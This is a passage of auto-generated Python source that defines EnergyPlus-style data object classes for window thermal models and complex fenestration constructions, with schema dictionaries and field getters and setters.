After Layer Number`""" self["Temperature Calculation Requested After Layer Number"] = value @property def dimensions_for_the_ctf_calculation(self): """field `Dimensions for the CTF Calculation` | 1 = 1-dimensional calculation, 2 = 2-dimensional calculation | value >= 1 | value <= 2 Args: value (int): value for IDD Field `Dimensions for the CTF Calculation` Raises: ValueError: if `value` is not a valid value Returns: int: the value of `dimensions_for_the_ctf_calculation` or None if not set """ return self["Dimensions for the CTF Calculation"] @dimensions_for_the_ctf_calculation.setter def dimensions_for_the_ctf_calculation(self, value=None): """Corresponds to IDD field `Dimensions for the CTF Calculation`""" self["Dimensions for the CTF Calculation"] = value @property def tube_spacing(self): """field `Tube Spacing` | uniform spacing between tubes or resistance wires in direction | perpendicular to main intended direction of heat transfer | Units: m Args: value (float): value for IDD Field `Tube Spacing` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `tube_spacing` or None if not set """ return self["Tube Spacing"] @tube_spacing.setter def tube_spacing(self, value=None): """Corresponds to IDD field `Tube Spacing`""" self["Tube Spacing"] = value @property def outside_layer(self): """field `Outside Layer` Args: value (str): value for IDD Field `Outside Layer` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `outside_layer` or None if not set """ return self["Outside Layer"] @outside_layer.setter def outside_layer(self, value=None): """Corresponds to IDD field `Outside Layer`""" self["Outside Layer"] = value @property def layer_2(self): """field `Layer 2` Args: value (str): value for IDD Field `Layer 2` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `layer_2` or None if not set """ return self["Layer 2"] @layer_2.setter def layer_2(self, value=None): """Corresponds to IDD field `Layer 2`""" self["Layer 2"] = value @property def layer_3(self): """field `Layer 3` Args: value (str): value for IDD Field `Layer 3` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `layer_3` or None if not set """ return self["Layer 3"] @layer_3.setter def layer_3(self, value=None): """Corresponds to IDD field `Layer 3`""" self["Layer 3"] = value @property def layer_4(self): """field `Layer 4` Args: value (str): value for IDD Field `Layer 4` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `layer_4` or None if not set """ return self["Layer 4"] @layer_4.setter def layer_4(self, value=None): """Corresponds to IDD field `Layer 4`""" self["Layer 4"] = value @property def layer_5(self): """field `Layer 5` Args: value (str): value for IDD Field `Layer 5` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `layer_5` or None if not set """ return self["Layer 5"] @layer_5.setter def layer_5(self, value=None): """Corresponds to IDD field `Layer 5`""" self["Layer 5"] = value @property def layer_6(self): """field `Layer 6` Args: value (str): value for IDD Field `Layer 6` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `layer_6` or None if not set """ return self["Layer 6"] @layer_6.setter def layer_6(self, value=None): """Corresponds to IDD field `Layer 6`""" self["Layer 6"] = value @property def layer_7(self): """field `Layer 7` Args: value (str): value for IDD Field `Layer 7` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `layer_7` or None if not set """ return self["Layer 7"] @layer_7.setter def layer_7(self, value=None): """Corresponds to IDD field `Layer 7`""" self["Layer 7"] = value @property def layer_8(self): """field `Layer 8` Args: value (str): value for IDD Field `Layer 8` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `layer_8` or None if not set """ return self["Layer 8"] @layer_8.setter def layer_8(self, value=None): """Corresponds to IDD field `Layer 8`""" self["Layer 8"] = value @property def layer_9(self): """field `Layer 9` Args: value (str): value for IDD Field `Layer 9` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `layer_9` or None if not set """ return self["Layer 9"] @layer_9.setter def layer_9(self, value=None): """Corresponds to IDD field `Layer 9`""" self["Layer 9"] = value @property def layer_10(self): """field `Layer 10` Args: value (str): value for IDD Field `Layer 10` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `layer_10` or None if not set """ return self["Layer 10"] @layer_10.setter def layer_10(self, value=None): """Corresponds to IDD field `Layer 10`""" self["Layer 10"] = value class WindowThermalModelParams(DataObject): """ Corresponds to IDD object `WindowThermalModel:Params` object is used to select which thermal model should be used in tarcog simulations """ _schema = {'extensible-fields': OrderedDict(), 'fields': OrderedDict([(u'name', {'name': u'Name', 'pyname': u'name', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'alpha'}), (u'standard', {'name': u'standard', 'pyname': u'standard', 'default': u'ISO15099', 'required-field': False, 'autosizable': False, 'accepted-values': [u'ISO15099', u'EN673Declared', u'EN673Design'], 'autocalculatable': False, 'type': 'alpha'}), (u'thermal model', {'name': u'Thermal Model', 'pyname': u'thermal_model', 'default': u'ISO15099', 'required-field': False, 'autosizable': False, 'accepted-values': [u'ISO15099', u'ScaledCavityWidth', u'ConvectiveScalarModel_NoSDThickness', u'ConvectiveScalarModel_withSDThickness'], 'autocalculatable': False, 'type': 'alpha'}), (u'sdscalar', {'name': u'SDScalar', 'pyname': u'sdscalar', 'default': 1.0, 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real'}), (u'deflection model', {'name': u'Deflection Model', 'pyname': u'deflection_model', 'default': u'NoDeflection', 'required-field': False, 'autosizable': False, 'accepted-values': [u'NoDeflection', u'TemperatureAndPressureInput', u'MeasuredDeflection'], 'autocalculatable': False, 'type': 'alpha'}), (u'vacuum pressure limit', {'name': u'Vacuum Pressure Limit', 'pyname': u'vacuum_pressure_limit', 'default': 13.238, 'minimum>': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'Pa'}), (u'initial temperature', {'name': u'Initial temperature', 'pyname': u'initial_temperature', 'default': 25.0, 'minimum>': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'C'}), (u'initial pressure', {'name': u'Initial pressure', 'pyname': u'initial_pressure', 'default': 101325.0, 'minimum>': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'Pa'})]), 'format': None, 'group': u'Surface Construction Elements', 'min-fields': 0, 'name': u'WindowThermalModel:Params', 'pyname': u'WindowThermalModelParams', 'required-object': False, 'unique-object': False} @property def name(self): """field `Name` Args: value (str): value for IDD Field `Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `name` or None if not set """ return self["Name"] @name.setter def name(self, value=None): """Corresponds to IDD field `Name`""" self["Name"] = value @property def standard(self): """field `standard` | Default value: ISO15099 Args: value (str): value for IDD Field `standard` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `standard` or None if not set """ return self["standard"] @standard.setter def standard(self, value="ISO15099"): """Corresponds to IDD field `standard`""" self["standard"] = value @property def thermal_model(self): """field `Thermal Model` | Default value: ISO15099 Args: value (str): value for IDD Field `Thermal Model` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `thermal_model` or None if not set """ return self["Thermal Model"] @thermal_model.setter def thermal_model(self, value="ISO15099"): """Corresponds to IDD field `Thermal Model`""" self["Thermal Model"] = value @property def sdscalar(self): """field `SDScalar` | Default value: 1.0 | value <= 1.0 Args: value (float): value for IDD Field `SDScalar` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `sdscalar` or None if not set """ return self["SDScalar"] @sdscalar.setter def sdscalar(self, value=1.0): """Corresponds to IDD field `SDScalar`""" self["SDScalar"] = value @property def deflection_model(self): """field `Deflection Model` | Default value: NoDeflection Args: value (str): value for IDD Field `Deflection Model` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `deflection_model` or None if not set """ return self["Deflection Model"] @deflection_model.setter def deflection_model(self, value="NoDeflection"): """Corresponds to IDD field `Deflection Model`""" self["Deflection Model"] = value @property def vacuum_pressure_limit(self): """field `Vacuum Pressure Limit` | Units: Pa | Default value: 13.238 Args: value (float): value for IDD Field `Vacuum Pressure Limit` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `vacuum_pressure_limit` or None if not set """ return self["Vacuum Pressure Limit"] @vacuum_pressure_limit.setter def vacuum_pressure_limit(self, value=13.238): """Corresponds to IDD field `Vacuum Pressure Limit`""" self["Vacuum Pressure Limit"] = value @property def initial_temperature(self): """field `Initial temperature` | This is temperature in time of window fabrication | Units: C | Default value: 25.0 Args: value (float): value for IDD Field `Initial temperature` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `initial_temperature` or None if not set """ return self["Initial temperature"] @initial_temperature.setter def initial_temperature(self, value=25.0): """Corresponds to IDD field `Initial temperature`""" self["Initial temperature"] = value @property def initial_pressure(self): """field `Initial pressure` | This is pressure in time of window fabrication | Units: Pa | Default value: 101325.0 Args: value (float): value for IDD Field `Initial pressure` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `initial_pressure` or None if not set """ return self["Initial pressure"] @initial_pressure.setter def initial_pressure(self, value=101325.0): """Corresponds to IDD field `Initial pressure`""" self["Initial pressure"] = value class ConstructionComplexFenestrationState(DataObject): """ Corresponds to IDD object `Construction:ComplexFenestrationState` Describes one state for a complex glazing system These input objects are typically generated by using WINDOW software and export to IDF syntax """ _schema = {'extensible-fields': OrderedDict(), 'fields': OrderedDict([(u'name', {'name': u'Name', 'pyname': u'name', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'alpha'}), (u'basis type', {'name': u'Basis Type', 'pyname': u'basis_type', 'default': u'LBNLWINDOW', 'required-field': False, 'autosizable': False, 'accepted-values': [u'LBNLWINDOW', u'UserDefined'], 'autocalculatable': False, 'type': 'alpha'}), (u'basis symmetry type', {'name': u'Basis Symmetry Type', 'pyname': u'basis_symmetry_type', 'default': u'None', 'required-field': False, 'autosizable': False, 'accepted-values': [u'Axisymmetric', u'None'], 'autocalculatable': False, 'type': 'alpha'}), (u'window thermal model', {'name': u'Window Thermal Model', 'pyname': u'window_thermal_model', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'basis matrix name', {'name': u'Basis Matrix Name', 'pyname': u'basis_matrix_name', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'solar optical complex front transmittance matrix name', {'name': u'Solar Optical Complex Front Transmittance Matrix Name', 'pyname': u'solar_optical_complex_front_transmittance_matrix_name', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'solar optical complex back reflectance matrix name', {'name': u'Solar Optical Complex Back Reflectance Matrix Name', 'pyname': u'solar_optical_complex_back_reflectance_matrix_name', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'visible optical complex front transmittance matrix name', {'name': u'Visible Optical Complex Front Transmittance Matrix Name', 'pyname': u'visible_optical_complex_front_transmittance_matrix_name', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'visible optical complex back transmittance matrix name', {'name': u'Visible Optical Complex Back Transmittance Matrix Name', 'pyname': u'visible_optical_complex_back_transmittance_matrix_name', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'outside layer name', {'name': u'Outside Layer Name', 'pyname': u'outside_layer_name', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'outside layer directional front absoptance matrix name', {'name': u'Outside Layer Directional Front Absoptance Matrix Name', 'pyname': u'outside_layer_directional_front_absoptance_matrix_name', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'outside layer directional back absoptance matrix name', {'name': u'Outside Layer Directional Back Absoptance Matrix Name', 'pyname': u'outside_layer_directional_back_absoptance_matrix_name', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'gap 1 name', {'name': u'Gap 1 Name', 'pyname': u'gap_1_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'cfs gap 1 directional front absoptance matrix name', {'name': u'CFS Gap 1 Directional Front Absoptance Matrix Name', 'pyname': u'cfs_gap_1_directional_front_absoptance_matrix_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'cfs gap 1 directional back absoptance matrix name', {'name': u'CFS Gap 1 Directional Back Absoptance Matrix Name', 'pyname': u'cfs_gap_1_directional_back_absoptance_matrix_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'layer 2 name', {'name': u'Layer 2 Name', 'pyname': u'layer_2_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'layer 2 directional front absoptance matrix name', {'name': u'Layer 2 Directional Front Absoptance Matrix Name', 'pyname': u'layer_2_directional_front_absoptance_matrix_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'layer 2 directional back absoptance matrix name', {'name': u'Layer 2 Directional Back Absoptance Matrix Name', 'pyname': u'layer_2_directional_back_absoptance_matrix_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'gap 2 name', {'name': u'Gap 2 Name', 'pyname': u'gap_2_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'gap 2 directional front absoptance matrix name', {'name': u'Gap 2 Directional Front Absoptance Matrix Name', 'pyname': u'gap_2_directional_front_absoptance_matrix_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'gap 2 directional back absoptance matrix name', {'name': u'Gap 2 Directional Back Absoptance Matrix Name', 'pyname': u'gap_2_directional_back_absoptance_matrix_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'layer 3 material', {'name': u'Layer 3 Material', 'pyname': u'layer_3_material', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'layer 3 directional front absoptance matrix name', {'name': u'Layer 3 Directional Front Absoptance Matrix Name', 'pyname': u'layer_3_directional_front_absoptance_matrix_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'layer 3 directional back absoptance matrix name', {'name': u'Layer 3 Directional Back Absoptance Matrix Name', 'pyname': u'layer_3_directional_back_absoptance_matrix_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'gap 3 name', {'name': u'Gap 3 Name', 'pyname': u'gap_3_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'gap 3 directional front absoptance matrix name', {'name': u'Gap 3 Directional Front Absoptance Matrix Name', 'pyname': u'gap_3_directional_front_absoptance_matrix_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'gap 3 directional back absoptance matrix name', {'name': u'Gap 3 Directional Back Absoptance Matrix Name', 'pyname': u'gap_3_directional_back_absoptance_matrix_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'layer 4 name', {'name': u'Layer 4 Name', 'pyname': u'layer_4_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'layer 4 directional front absoptance matrix name', {'name': u'Layer 4 Directional Front Absoptance Matrix Name', 'pyname': u'layer_4_directional_front_absoptance_matrix_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'layer 4 directional back absoptance matrix name', {'name': u'Layer 4 Directional Back Absoptance Matrix Name', 'pyname': u'layer_4_directional_back_absoptance_matrix_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'gap 4 name', {'name': u'Gap 4 Name', 'pyname': u'gap_4_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'gap 4 directional front absoptance matrix name', {'name': u'Gap 4 Directional Front Absoptance Matrix Name', 'pyname': u'gap_4_directional_front_absoptance_matrix_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'gap 4 directional back absoptance matrix name', {'name': u'Gap 4 Directional Back Absoptance Matrix Name', 'pyname': u'gap_4_directional_back_absoptance_matrix_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'layer 5 name', {'name': u'Layer 5 Name', 'pyname': u'layer_5_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'layer 5 directional front absoptance matrix name', {'name': u'Layer 5 Directional Front Absoptance Matrix Name', 'pyname': u'layer_5_directional_front_absoptance_matrix_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'layer 5 directional back absoptance matrix name', {'name': u'Layer 5 Directional Back Absoptance Matrix Name', 'pyname': u'layer_5_directional_back_absoptance_matrix_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': 'alpha'})]), 'format': None, 'group': u'Surface Construction Elements', 'min-fields': 0, 'name': u'Construction:ComplexFenestrationState', 'pyname': u'ConstructionComplexFenestrationState', 'required-object': False, 'unique-object': False} @property def name(self): """field `Name` Args: value (str): value for IDD Field `Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `name` or None if not set """ return self["Name"] @name.setter def name(self, value=None): """Corresponds to IDD field `Name`""" self["Name"] = value @property def basis_type(self): """field `Basis Type` | Default value: LBNLWINDOW Args: value (str): value for IDD Field `Basis Type` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `basis_type` or None if not set """ return self["Basis Type"] @basis_type.setter def basis_type(self, value="LBNLWINDOW"): """Corresponds to IDD field `Basis Type`""" self["Basis Type"] = value @property def basis_symmetry_type(self): """field `Basis Symmetry Type` | Default value: None Args: value (str): value for IDD Field `Basis Symmetry Type` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `basis_symmetry_type` or None if not set """ return self["Basis Symmetry Type"] @basis_symmetry_type.setter def basis_symmetry_type(self, value="None"): """Corresponds to IDD field `Basis Symmetry Type`""" self["Basis Symmetry Type"] = value @property def window_thermal_model(self): """field `Window Thermal Model` Args: value (str): value for IDD Field `Window Thermal Model` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `window_thermal_model` or None if not set """ return self["Window Thermal Model"] @window_thermal_model.setter def window_thermal_model(self, value=None): """Corresponds to IDD field `Window Thermal Model`""" self["Window Thermal Model"] = value @property def basis_matrix_name(self): """field `Basis Matrix Name` Args: value (str): value for IDD Field `Basis Matrix Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `basis_matrix_name` or None if not set """ return self["Basis Matrix Name"] @basis_matrix_name.setter def basis_matrix_name(self, value=None): """Corresponds to IDD field `Basis Matrix Name`""" self["Basis Matrix Name"] = value @property def solar_optical_complex_front_transmittance_matrix_name(self): """field `Solar Optical Complex Front Transmittance Matrix Name` Args: value (str): value for IDD Field `Solar Optical Complex Front Transmittance Matrix Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `solar_optical_complex_front_transmittance_matrix_name` or None if not set """ return self["Solar Optical Complex Front Transmittance Matrix Name"] @solar_optical_complex_front_transmittance_matrix_name.setter def solar_optical_complex_front_transmittance_matrix_name( self, value=None): """Corresponds to IDD field `Solar Optical Complex Front Transmittance Matrix Name`""" self["Solar Optical Complex Front Transmittance Matrix Name"] = value @property def solar_optical_complex_back_reflectance_matrix_name(self): """field `Solar Optical Complex Back Reflectance Matrix Name` Args: value (str): value for IDD Field `Solar Optical Complex Back Reflectance Matrix Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `solar_optical_complex_back_reflectance_matrix_name` or None if not set """ return self["Solar Optical Complex Back Reflectance Matrix Name"] @solar_optical_complex_back_reflectance_matrix_name.setter def solar_optical_complex_back_reflectance_matrix_name(self, value=None): """Corresponds to IDD field `Solar Optical Complex Back Reflectance Matrix Name`""" self["Solar Optical Complex Back Reflectance Matrix Name"] = value @property def visible_optical_complex_front_transmittance_matrix_name(self): """field `Visible Optical Complex Front Transmittance Matrix Name` Args: value (str): value for IDD Field `Visible Optical Complex Front Transmittance Matrix Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `visible_optical_complex_front_transmittance_matrix_name` or None if not set """ return self["Visible Optical Complex Front Transmittance Matrix Name"] @visible_optical_complex_front_transmittance_matrix_name.setter def visible_optical_complex_front_transmittance_matrix_name( self, value=None): """Corresponds to IDD field `Visible Optical Complex Front Transmittance Matrix Name`""" self["Visible Optical Complex Front Transmittance Matrix Name"] = value @property def visible_optical_complex_back_transmittance_matrix_name(self): """field `Visible Optical Complex Back Transmittance Matrix Name` Args: value (str): value for IDD Field `Visible Optical Complex Back Transmittance Matrix Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `visible_optical_complex_back_transmittance_matrix_name` or None if not set """ return self["Visible Optical Complex Back Transmittance Matrix Name"] @visible_optical_complex_back_transmittance_matrix_name.setter def visible_optical_complex_back_transmittance_matrix_name( self, value=None): """Corresponds to IDD field `Visible Optical Complex Back Transmittance Matrix Name`""" self["Visible Optical Complex Back Transmittance Matrix Name"] = value @property def outside_layer_name(self): """field `Outside Layer Name` Args: value (str): value for IDD Field `Outside Layer Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `outside_layer_name` or None if not set """ return self["Outside Layer Name"] @outside_layer_name.setter def outside_layer_name(self, value=None): """Corresponds to IDD field `Outside Layer Name`""" self["Outside Layer Name"] = value @property def outside_layer_directional_front_absoptance_matrix_name(self): """field `Outside Layer Directional Front Absoptance Matrix Name` Args: value (str): value for IDD Field `Outside Layer Directional Front Absoptance Matrix Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `outside_layer_directional_front_absoptance_matrix_name` or None if not set """ return self["Outside Layer Directional Front Absoptance Matrix Name"] @outside_layer_directional_front_absoptance_matrix_name.setter def outside_layer_directional_front_absoptance_matrix_name( self, value=None): """Corresponds to IDD field `Outside Layer Directional Front Absoptance Matrix Name`""" self["Outside Layer Directional Front Absoptance Matrix Name"] = value @property def outside_layer_directional_back_absoptance_matrix_name(self): """field `Outside Layer Directional Back Absoptance Matrix Name` Args: value (str): value for IDD Field `Outside Layer Directional Back Absoptance Matrix Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `outside_layer_directional_back_absoptance_matrix_name` or None if not set """ return self["Outside Layer Directional Back Absoptance Matrix Name"] @outside_layer_directional_back_absoptance_matrix_name.setter def outside_layer_directional_back_absoptance_matrix_name( self, value=None): """Corresponds to IDD field `Outside Layer Directional Back Absoptance Matrix Name`""" self["Outside Layer Directional Back Absoptance Matrix Name"] = value @property def gap_1_name(self): """field `Gap 1 Name` Args: value (str): value for IDD Field `Gap 1 Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `gap_1_name` or None if not set """ return self["Gap 1 Name"] @gap_1_name.setter def gap_1_name(self, value=None): """Corresponds to IDD field `Gap 1 Name`""" self["Gap 1 Name"] = value @property def cfs_gap_1_directional_front_absoptance_matrix_name(self): """field `CFS Gap 1 Directional Front Absoptance Matrix Name` | Reserved for future use. Leave it blank for this version Args: value (str): value for IDD Field `CFS Gap 1 Directional Front Absoptance Matrix Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `cfs_gap_1_directional_front_absoptance_matrix_name` or None if not set """ return self["CFS Gap 1 Directional Front Absoptance Matrix Name"] @cfs_gap_1_directional_front_absoptance_matrix_name.setter def cfs_gap_1_directional_front_absoptance_matrix_name(self, value=None): """Corresponds to IDD field `CFS Gap 1 Directional Front Absoptance Matrix Name`""" self["CFS Gap 1 Directional Front Absoptance Matrix Name"] = value @property def cfs_gap_1_directional_back_absoptance_matrix_name(self): """field `CFS Gap 1 Directional Back Absoptance Matrix Name` | Reserved for future use. Leave it blank for this version Args: value (str): value for IDD Field `CFS Gap 1 Directional Back Absoptance Matrix Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `cfs_gap_1_directional_back_absoptance_matrix_name` or None if not set """ return self["CFS Gap 1 Directional Back Absoptance Matrix Name"] @cfs_gap_1_directional_back_absoptance_matrix_name.setter def cfs_gap_1_directional_back_absoptance_matrix_name(self, value=None): """Corresponds to IDD field `CFS Gap 1 Directional Back Absoptance Matrix Name`""" self["CFS Gap 1 Directional Back Absoptance Matrix Name"] = value @property def layer_2_name(self): """field `Layer 2 Name` Args: value (str): value for IDD Field `Layer 2 Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `layer_2_name` or None if not set """ return self["Layer 2 Name"] @layer_2_name.setter def layer_2_name(self, value=None): """Corresponds to IDD field `Layer 2 Name`""" self["Layer 2 Name"] = value @property def layer_2_directional_front_absoptance_matrix_name(self): """field `Layer 2 Directional Front Absoptance Matrix Name` Args: value (str): value for IDD Field `Layer 2 Directional Front Absoptance Matrix Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `layer_2_directional_front_absoptance_matrix_name` or None if not set """ return self["Layer 2 Directional Front Absoptance Matrix Name"] @layer_2_directional_front_absoptance_matrix_name.setter def layer_2_directional_front_absoptance_matrix_name(self, value=None): """Corresponds to IDD field `Layer 2 Directional Front Absoptance Matrix Name`""" self["Layer 2 Directional Front Absoptance Matrix Name"] = value @property def layer_2_directional_back_absoptance_matrix_name(self): """field `Layer 2 Directional Back Absoptance Matrix Name` Args: value (str): value for IDD Field `Layer 2 Directional Back Absoptance Matrix Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `layer_2_directional_back_absoptance_matrix_name` or None if not set """ return self["Layer 2 Directional Back Absoptance Matrix Name"] @layer_2_directional_back_absoptance_matrix_name.setter def layer_2_directional_back_absoptance_matrix_name(self, value=None): """Corresponds to IDD field `Layer 2 Directional Back Absoptance Matrix Name`""" self["Layer 2 Directional Back Absoptance Matrix Name"] = value @property def gap_2_name(self): """field `Gap 2 Name` Args: value (str): value for IDD Field `Gap 2 Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `gap_2_name` or None if not set """ return self["Gap 2 Name"] @gap_2_name.setter def gap_2_name(self, value=None): """Corresponds to IDD field `Gap 2 Name`""" self["Gap 2 Name"] = value @property def gap_2_directional_front_absoptance_matrix_name(self): """field `Gap 2 Directional Front Absoptance Matrix Name` | Reserved for future use. Leave it blank for this version Args: value (str): value for IDD Field `Gap 2 Directional Front Absoptance Matrix Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `gap_2_directional_front_absoptance_matrix_name` or None if not set """ return self["Gap 2 Directional Front Absoptance Matrix Name"] @gap_2_directional_front_absoptance_matrix_name.setter def gap_2_directional_front_absoptance_matrix_name(self, value=None): """Corresponds to IDD field `Gap 2 Directional Front Absoptance Matrix Name`""" self["Gap 2 Directional Front Absoptance Matrix Name"] = value @property def gap_2_directional_back_absoptance_matrix_name(self): """field `Gap 2 Directional Back Absoptance Matrix Name` | Reserved for future use. Leave it blank for this version Args: value (str): value for IDD Field `Gap 2 Directional Back Absoptance Matrix Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `gap_2_directional_back_absoptance_matrix_name` or None if not set """ return self["Gap 2 Directional Back Absoptance Matrix Name"] @gap_2_directional_back_absoptance_matrix_name.setter def gap_2_directional_back_absoptance_matrix_name(self, value=None): """Corresponds to IDD field `Gap 2 Directional Back Absoptance Matrix Name`""" self["Gap 2 Directional Back Absoptance Matrix Name"] = value @property def layer_3_material(self): """field `Layer 3 Material` Args: value (str): value for IDD Field `Layer 3 Material` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `layer_3_material` or None if not set """ return self["Layer 3 Material"] @layer_3_material.setter def layer_3_material(self, value=None): """Corresponds to IDD field `Layer 3 Material`""" self["Layer 3 Material"] = value @property def layer_3_directional_front_absoptance_matrix_name(self): """field `Layer 3 Directional Front Absoptance Matrix Name` Args: value (str): value for IDD Field `Layer 3 Directional Front Absoptance Matrix Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `layer_3_directional_front_absoptance_matrix_name` or None if not set """ return self["Layer 3 Directional Front Absoptance Matrix Name"] @layer_3_directional_front_absoptance_matrix_name.setter def layer_3_directional_front_absoptance_matrix_name(self, value=None): """Corresponds to IDD field `Layer 3 Directional Front Absoptance Matrix Name`""" self["Layer 3 Directional Front Absoptance Matrix Name"] = value @property def layer_3_directional_back_absoptance_matrix_name(self): """field `Layer 3 Directional Back Absoptance Matrix Name` Args: value (str): value for IDD Field `Layer 3 Directional Back Absoptance Matrix Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `layer_3_directional_back_absoptance_matrix_name` or None if not set """ return self["Layer 3 Directional Back Absoptance Matrix Name"] @layer_3_directional_back_absoptance_matrix_name.setter def layer_3_directional_back_absoptance_matrix_name(self, value=None): """Corresponds to IDD field `Layer 3 Directional Back Absoptance Matrix Name`""" self["Layer 3 Directional Back Absoptance Matrix Name"] = value @property def gap_3_name(self): """field `Gap 3 Name` Args: value (str): value for IDD Field `Gap 3 Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `gap_3_name` or None if not set """ return self["Gap 3 Name"] @gap_3_name.setter def gap_3_name(self, value=None): """Corresponds to IDD field `Gap 3 Name`""" self["Gap 3 Name"] = value @property def gap_3_directional_front_absoptance_matrix_name(self): """field `Gap 3 Directional Front Absoptance Matrix Name` | Reserved for future use. Leave it blank for this version Args: value (str): value for IDD Field `Gap 3 Directional Front Absoptance Matrix Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `gap_3_directional_front_absoptance_matrix_name` or None if not set """ return self["Gap 3 Directional Front Absoptance Matrix Name"] @gap_3_directional_front_absoptance_matrix_name.setter def gap_3_directional_front_absoptance_matrix_name(self, value=None): """Corresponds to IDD field `Gap 3 Directional Front Absoptance Matrix Name`""" self["Gap 3 Directional Front Absoptance Matrix Name"] = value @property def gap_3_directional_back_absoptance_matrix_name(self): """field `Gap 3 Directional Back Absoptance Matrix Name` | Reserved for future use. Leave it blank for this version Args: value (str): value for IDD Field `Gap 3 Directional Back Absoptance Matrix Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `gap_3_directional_back_absoptance_matrix_name` or None if not set """ return self["Gap 3 Directional Back Absoptance Matrix Name"] @gap_3_directional_back_absoptance_matrix_name.setter def 